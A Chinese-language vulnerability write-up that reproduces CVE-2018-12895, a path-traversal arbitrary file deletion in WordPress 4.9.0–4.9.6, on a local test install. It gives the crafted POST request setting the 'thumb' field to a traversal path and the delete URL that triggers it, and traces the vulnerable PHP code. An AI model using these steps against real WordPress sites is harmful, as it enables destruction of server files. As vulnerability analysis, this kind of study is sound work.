---
# System prepended metadata

title: CVE-2018-12895 (Wordpress <= 4.9.6 任意文件删除漏洞)
tags: [CVE, wordpress]

---

# CVE-2018-12895 (Wordpress <= 4.9.6 任意文件删除漏洞)

###### tags: `CVE` `wordpress`

版本:
wordpress: 4.9.0 - 4.9.6

WP管理者需要給一個帳號至少是author。

在wp目錄下創 222.txt (之後要刪除這個文件)



### 拉一張圖片上去並編輯
http://localhost/wp-admin/media-new.php





### 跳轉到編輯:
http://localhost/wp-admin/post.php?post=16&action=edit
(注意post=16 這邊會不一樣。)



### 此時f12尋找 _wpnonce  找到下面兩個
```
POST 提交需要驗證這個值
<input type="hidden" id="_wpnonce" name="_wpnonce" value="ce98612b1e">



第二步刪除文件是這個網址
<a class="submitdelete deletion" onclick="return showNotice.warn();" href="http://localhost/wp-admin/post.php?post=15&amp;action=delete&amp;_wpnonce=dfbd76d7c2">Delete Permanently</a>

也就是:
GET
http://localhost/wp-admin/post.php?post=16&action=delete&_wpnonce=dfbd76d7c2


```



### update 按鈕這邊開BP抓包:

POST數據 刪掉改成下面的
```http=
POST /wp-admin/post.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost/wp-admin/post.php?post=16&action=edit
Content-Type: application/x-www-form-urlencoded
Content-Length: 801
Origin: http://localhost
Connection: close
Cookie: wordpress_86a9106ae65537651a8e456835b316ab=test1%7C1678431720%7CYMV4UCh7IgXLCFEe1HqrgljbsECoj0EUYb6Qq1fCiHl%7Cb9ac91292e29beb9deec347481ccd215316087dcd762860f5ca8a868f985095b; Phpstorm-f62ebc4=0f75a308-192c-46b6-9825-3efeef40150b; wp-settings-time-2=1678263454; XDEBUG_SESSION=PHPSTORM; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_86a9106ae65537651a8e456835b316ab=test1%7C1678431720%7CYMV4UCh7IgXLCFEe1HqrgljbsECoj0EUYb6Qq1fCiHl%7Cb0612ec960b2176d7f4600c03bf7da47974d6ea1e9b3d5ee559f2d278b3a4f35
Upgrade-Insecure-Requests: 1

action=editattachment&_wpnonce=ce98612b1e&post_ID=16&thumb=../../../../222.txt
```


稍微分析一下
```
action=editattachmen 
//代表進去  editattachmen 選項

_wpnonce=ce98612b1e
//驗證

post_ID=16
//你編輯的圖片ID


thumb=../../../../222.txt
//圖片的thumb 被我們竄改

```

此時你可以用PHPSTORM跟進去。




wp-admin/post.php
```php=

case 'editattachment':
	check_admin_referer('update-post_' . $post_id);

	// Don't let these be changed
	unset($_POST['guid']);
	$_POST['post_type'] = 'attachment';

	// Update the thumbnail filename
	$newmeta = wp_get_attachment_metadata( $post_id, true );
	$newmeta['thumb'] = $_POST['thumb'];

	wp_update_attachment_metadata( $post_id, $newmeta );


```

$_POST['thumb'] 沒過濾
```php=
$newmeta['thumb'] = $_POST['thumb'];
```

你如果慢慢跟進，會發現最後 圖片屬性會被序列化，我們的thumb 在最後面

進 sql
```
UPDATE `wp_postmeta` SET `meta_value` = 'a:6:{s:5:\"width\";i:289;s:6:\"height\";i:174;s:4:\"file\";s:14:\"2023/03/da.jpg\";s:5:\"sizes\";a:2:{s:9:\"thumbnail\";a:4:{s:4:\"file\";s:14:\"da-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:32:\"twentyseventeen-thumbnail-avatar\";a:4:{s:4:\"file\";s:14:\"da-100x100.jpg\";s:5:\"width\";i:100;s:6:\"height\";i:100;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"0\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:0:\"\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:1:\"0\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:1:\"0\";s:3:\"iso\";s:1:\"0\";s:13:\"shutter_speed\";s:1:\"0\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"1\";s:8:\"keywords\";a:0:{}}s:5:\"thumb\";s:21:\"../../../../222.txt\n\";}' WHERE `wp_postmeta`.`meta_id` = 35;

```



休息一下... 接下來進入第2步


作者利用了編輯介面的刪除選項，就是我們最開始找到的GET 請求:
(記住_wpnonce 要根據自己的環境設置)

```
http://localhost/wp-admin/post.php?post=16&action=delete&_wpnonce=dfbd76d7c2

post=16
//編輯圖片的ID

action=delete
//進入 delete 模塊


_wpnonce=dfbd76d7c2
//刪除動作驗證




```


wp-admin/post.php
```php=
case 'delete':
	check_admin_referer('delete-post_' . $post_id);

	if ( ! $post )
		wp_die( __( 'This item has already been deleted.' ) );

	if ( ! $post_type_object )
		wp_die( __( 'Invalid post type.' ) );

	if ( ! current_user_can( 'delete_post', $post_id ) )
		wp_die( __( 'Sorry, you are not allowed to delete this item.' ) );

	if ( $post->post_type == 'attachment' ) {
		$force = ( ! MEDIA_TRASH );
		if ( ! wp_delete_attachment( $post_id, $force ) )
			wp_die( __( 'Error in deleting.' ) );
	} else {
		if ( ! wp_delete_post( $post_id, true ) )
			wp_die( __( 'Error in deleting.' ) );
	}

	wp_redirect( add_query_arg('deleted', 1, $sendback) );
	exit();

```






你慢慢跟進會走到最後 wp_delete_attachment 這個刪除附件函數的結尾附近

wp-includes/post.php 
```php=
if ( ! empty($meta['thumb']) ) {
    // Don't delete the thumb if another attachment uses it.
    if (! $wpdb->get_row( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE meta_key = '_wp_attachment_metadata' AND meta_value LIKE %s AND post_id <> %d", '%' . $wpdb->esc_like( $meta['thumb'] ) . '%', $post_id)) ) {
        $thumbfile = str_replace(basename($file), $meta['thumb'], $file);
        /** This filter is documented in wp-includes/functions.php */
        $thumbfile = apply_filters( 'wp_delete_file', $thumbfile );
        @ unlink( path_join($uploadpath['basedir'], $thumbfile) );
    }
}


```

thumb 剛剛進sql了 現在被撈出來

```
$meta['thumb'] = ../../../../222.txt


unlink 最後會刪除 222.txt

```



心得:

這個洞還算比較簡單的，我在想就是一個$_POST 沒過濾，還可以進庫，最後居然可以從庫撈出。利用的發現過程可能是最以挑戰性的地方。





























